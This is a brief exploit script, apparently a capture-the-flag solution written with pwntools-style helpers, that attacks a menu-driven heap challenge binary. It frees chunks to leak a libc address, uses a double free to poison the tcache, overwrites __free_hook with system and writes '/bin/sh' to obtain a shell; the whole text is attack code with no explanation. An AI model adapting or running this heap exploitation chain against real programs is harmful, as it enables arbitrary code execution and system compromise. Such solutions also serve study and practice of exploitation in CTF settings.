1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| def add(choose,data): slf(">> ",str(choose)) slf(">> ","1") sf("input data:",data)
def show(choose,index): slf(">> ",str(choose)) slf(">> ","3") slf("index?\n",str(index))
def dele(choose,index): slf(">> ",str(choose)) slf(">> ","2") if choose < 3: slf("index?\n",str(index))
for i in range(4): add(i+1,"1") add(i+1,"1") for i in range(4,2,-1): dele(i,1) dele(i,0) dele(1,1) dele(1,0) dele(2,0)
show(2,0) ru("data: ") libc_addr = l64_addr(ru("\n")[:-1]) - 0x3ebca0 add(2,"1") add(1,"1") add(1,"1") for i in range(2,3): add(i+1,"1") add(i+1,"1")
dele(2,0) dele(2,0)
add(2,p64(libc_addr+libc.symbols["__free_hook"]-0x8)) debug() add(2,"/bin/sh\x00"+p64(libc.symbols['system']+libc_addr))
ShowAddress("libc_address:",libc_addr) debug() getshell()
|